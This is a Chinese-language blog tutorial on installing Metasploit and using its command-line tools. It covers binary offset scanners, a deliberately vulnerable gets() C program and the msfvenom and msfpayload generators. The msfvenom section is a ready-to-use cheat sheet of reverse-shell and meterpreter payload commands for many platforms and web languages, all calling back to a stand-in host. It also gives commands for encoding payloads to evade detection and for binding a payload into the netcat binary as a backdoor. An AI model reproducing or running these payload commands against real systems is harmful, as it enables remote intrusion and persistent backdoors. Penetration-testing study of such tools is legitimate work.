猫头鹰
信安舆情早知道

Metasploit 使用姿势指南

前言

这里说一下,很多人买了vps,除了搭建一个vpn,利用率就不高了!我也是遇到了这个问题,所以打算把vps打造成一个安全工具平台,本文先介绍metasploit的安装以及简单的介绍及使用;后续会出一个系列关于metasploit的各种工具,各种渗透时的奇淫技巧!

配置:Centos7 64位 最小化安装

工具:https://www.metasploit.com/

0x00 安装那些事

官方文档:https://help.rapid7.com/metasploit/index.html#installation/installation.html%3FTocPath%3D_____3

  • windows安装

下载完成以后,双击进入安装界面

1

这样就安装好了,so easy!

  • ubuntu

下载的时候,注意系统是64位还是32位,给予安装文件执行权限,它会以图形界面进行安装,与windows类似;

2

  • Centos

wget http://downloads.metasploit.com/data/releases/metasploit-latest-linux-x64-installer.run

命令行界面安装,与ubuntu类似,不过需要敲很多次回车

接下来我将一次介绍新的msf中每一款工具

0x01 msfbinscan

msfbinscan:对bin文件进行文件偏移地址扫描

msfbinscan [mode] <options> [targets]

Modes:

搜索跳转等有效指令

-j, –jump [regA,regB,regC] Search for jump equivalent instructions [PE|ELF|MACHO] 搜索跳转等有效指令

-p, –poppopret Search for pop+pop+ret combinations [PE|ELF|MACHO] 搜索pop+pop+ret组合

-r, –regex [regex] Search for regex match [PE|ELF|MACHO] 搜索正则表达式

-a, –analyze-address [address] Display the code at the specified address [PE|ELF] 显示指定位置的代码

-b, –analyze-offset [offset] Display the code at the specified offset [PE|ELF] 显示指定偏移地址的代码

-f, –fingerprint Attempt to identify the packer/compiler [PE] 尝试识别封装器、编译器

-i, –info Display detailed information about the image [PE] 显示image详细信息

-R, –ripper [directory] Rip all module resources to disk [PE] 将所有模块资源分到磁盘中

–context-map [directory] Generate context-map files [PE] 生成上下文映射

Options:

-A, –after [bytes] Number of bytes to show after match (-a/-b) [PE|ELF|MACHO] 从多少字节之后开始匹配

-B, –before [bytes] Number of bytes to show before match (-a/-b) [PE|ELF|MACHO] 从多少字节之前开始匹配

-I, –image-base [address] Specify an alternate ImageBase [PE|ELF|MACHO] 指定一个备用的基址

-D, –disasm Disassemble the bytes at this address [PE|ELF] 在地址处分解字符

-F, –filter-addresses [regex] Filter addresses based on a regular expression [PE] 基于正则表达式是筛选器地址

  • 案例演示

这里因为没有找到合适的bin文件进行测试,后续如果有这个工具的专项的话会详细介绍!

首先介绍一下常用的寄存器,关于这些寄存器的介绍这里就不介绍了,主要是自己介绍不了!

 

4个数据寄存器(EAX、EBX、ECX、EDX)

2个变址和指针寄存器(ESI、EDI)

2个指针寄存器(ESP、EBP)

0x02 msfconsole

msfconsole:这个就不用解释了会在后面针对这个来做一些详细的介绍,并且很多教程中都提到了!

0x03 msfelfscan

msfelfscan:对Linux的elf文件偏移地址进行扫描

msfmachscan:同上

关于参数的解释可以参考msfbinscan中

Modes:

-j, –jump [regA,regB,regC] Search for jump equivalent instructions

-p, –poppopret Search for pop+pop+ret combinations

-r, –regex [regex] Search for regex match

-a, –analyze-address [address] Display the code at the specified address

-b, –analyze-offset [offset] Display the code at the specified offset

Options:

-A, –after [bytes] Number of bytes to show after match (-a/-b)

-B, –before [bytes] Number of bytes to show before match (-a/-b)

-D, –disasm Disassemble the bytes at this address

-I, –image-base [address] Specify an alternate ImageBase

  • 案例演示

这里首先给一篇关于bin文件与elf文件的介绍:http://blog.chinaunix.net/uid-24148050-id-362928.html

elf.c
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>

int main(int argc, char **argv)
{
  volatile int modified;
  char buffer[64];

  modified = 0;
  gets(buffer);

  if(modified != 0) {
      printf("you have changed the 'modified' variable\n");
  } else {
      printf("Try again?\n");
  }
}

#以下是测试内容
[root@133-130-113-21 test]# msfelfscan -j esp stack
[stack]
#可以由于代码太简单,是没有esp指令的,

0x04 msfpescan

msfpescan:对windows PE格式文件偏移地址进行扫描;

Modes:
    -j, --jump [regA,regB,regC]      Search for jump equivalent instructions
    -p, --poppopret                  Search for pop+pop+ret combinations
    -r, --regex [regex]              Search for regex match
    -a, --analyze-address [address]  Display the code at the specified address
    -b, --analyze-offset [offset]    Display the code at the specified offset
    -f, --fingerprint                Attempt to identify the packer/compiler
    -i, --info                       Display detailed information about the image
    -R, --ripper [directory]         Rip all module resources to disk
        --context-map [directory]    Generate context-map files

Options:
    -M, --memdump                    The targets are memdump.exe directories          目标是memdump.exe的目录
    -A, --after [bytes]              Number of bytes to show after match (-a/-b)
    -B, --before [bytes]             Number of bytes to show before match (-a/-b)
    -D, --disasm                     Disassemble the bytes at this address
    -I, --image-base [address]       Specify an alternate ImageBase
    -F, --filter-addresses [regex]   Filter addresses based on a regular expression
  • 案例演示

11

综述:上面的这些对于不同格式文件进行测试的工具,对我们二进制入门,分析源代码等有一定的帮助作用,由于自己也还处于学习阶段,本文也只是工具使用先介绍到这里!后门我会根据自己的学习进度提出这种工具的后续使用。

0x05 其它

msfd:metasploit服务,非持久性服务;

msfrpc:metasploit的服务端,非持久性的rpc服务;

msfrpcd:持久性的metasploit本地服务,可以给远程用户提供rpc服务以及其它的http服务,可以通过xml进行数据传输;

msfupte:更新;

0x06 msfvenom

msfvenom:这是在新版本中替代msfpayload与msfencode的;

Options:
    -p, --payload       <payload>    Payload to use. Specify a '-' or stdin to use custom payloads           这个就是以前的msfpayload
        --payload-options            List the payload's standard options
    -l, --list          [type]       List a module type. Options are: payloads, encoders, nops, all          这个可以列出所有的模块的类型
    -n, --nopsled       <length>     Prepend a nopsled of [length] size on to the payload
    -f, --format        <format>     Output format (use --help-formats for a list)
        --help-formats               List available formats
    -e, --encoder       <encoder>    The encoder to use                                                      这个就是msfencode
    -a, --arch          <arch>       The architecture to use
        --platform      <platform>   The platform of the payload
        --help-platforms             List available platforms
    -s, --space         <length>     The maximum size of the resulting payload
        --encoder-space <length>     The maximum size of the encoded payload (defaults to the -s value)
    -b, --bad-chars     <list>       The list of characters to avoid example: '\x00\xff'
    -i, --iterations    <count>      The number of times to encode the payload
    -c, --add-code      <path>       Specify an additional win32 shellcode file to include
    -x, --template      <path>       Specify a custom executable file to use as a template
    -k, --keep                       Preserve the template behavior and inject the payload as a new thread
    -o, --out           <path>       Save the payload
    -v, --var-name      <name>       Specify a custom variable name to use for certain output formats
        --smallest                   Generate the smallest possible payload
Linux
    msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=1.1.1.1 LPORT=5555 -f elf > shell.elf
Windows
    msfvenom -p windows/meterpreter/reverse_tcp LHOST=1.1.1.1 LPORT=5555 -f exe > shell.exe
MAC
    msfvenom -p osx/x86/shell_reverse_tcp LHOST=1.1.1.1 LPORT=5555 -f macho > shell.macho
PHP
    msfvenom -p php/meterpreter_reverse_tcp LHOST=1.1.1.1 LPORT=5555 -f raw > shell.php
    cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php
ASP
    msfvenom -p windows/meterpreter/reverse_tcp LHOST=1.1.1.1 LPORT=5555 -f asp > shell.asp
JSP
    msfvenom -p java/jsp_shell_reverse_tcp LHOST=1.1.1.1 LPORT=5555 -f raw > shell.jsp
WAR   
    msfvenom -p java/jsp_shell_reverse_tcp LHOST=1.1.1.1 LPORT=5555 -f war > shell.war
Python
    msfvenom -p cmd/unix/reverse_python LHOST=1.1.1.1 LPORT=5555 -f raw > shell.py
Bash
    msfvenom -p cmd/unix/reverse_bash LHOST=1.1.1.1 LPORT=5555 -f raw > shell.sh
Perl
    msfvenom -p cmd/unix/reverse_perl LHOST=1.1.1.1 LPORT=5555 -f raw > shell.pl
ShellCode
    msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=1.1.1.1 LPORT=5555 -f <language>
    msfvenom -p windows/meterpreter/reverse_tcp LHOST=1.1.1.1 LPORT=5555 -f <language>
    msfvenom -p osx/x86/shell_reverse_tcp LHOST=1.1.1.1 LPORT=5555 -f <language>

这里再贴出老版本的msfpayload生成,想对比而言,使用其实是一样的,只不过将原来的命令使用参数来代替;
Linux
    msfpayload linux/x86/shell_reverse_tcp LHOST=1.1.1.1 LPORT=555 X > payload
jsp
    msfpayload java/jsp_shell_reverse_tcp LHOST=1.1.1.1 LPORT=5555 R > door.jsp
war
    msfpayload linux/x86/shell_reverse_tcp LHOST=1.1.1.1 LPORT=5555 W>door.war  上传成功以后执行:unzip door.war
php
    msfpayload php/meterpreter/reverse_tcp LHOST=1.1.1.1 LPORT=5555 R | msfencode –e php/base64 –t raw –o payload.php 注:生成的文件需要加上<?php ?>
asp/aspx
    msfpayload windows/meterpreter/reverse_tcp LHOST=1.1.1.1 LPORT=5555 R |  msfencode –e x86/shikata_ga_nai –a x86 –t asp/aspx –o door.asp/aspx
Windows
    msfpayload windows/meterpreter/reverse_tcp LHOST=1.1.1.1 LPORT=5555 R |  msfencode –t exe –c 5 > payload.exe
payload与可执行文件绑定
     msfpayload linux/x86/shell_reverse_tcp EXITFUNC=thread LHOST=1.1.1.1 LPORT=5555  R | msfencode –a x86 –e x86/alpha_mixed –k –x /bin/netcat –t elf –o nc

使用-l参数可以查看payload encode等种类

欢迎大家交流深入知识!关于metasploit也会出成一个系列!

 

*来源:Hurricane Security Mottoin授权发布

转载请注明来自MottoIN,未经允许不得转载!MottoIN » Metasploit 使用姿势指南

分享到:更多 ()

评论 抢沙发

评论前必须登录!

 

MottoIN 换一个角度看安全

寻求报道联系我们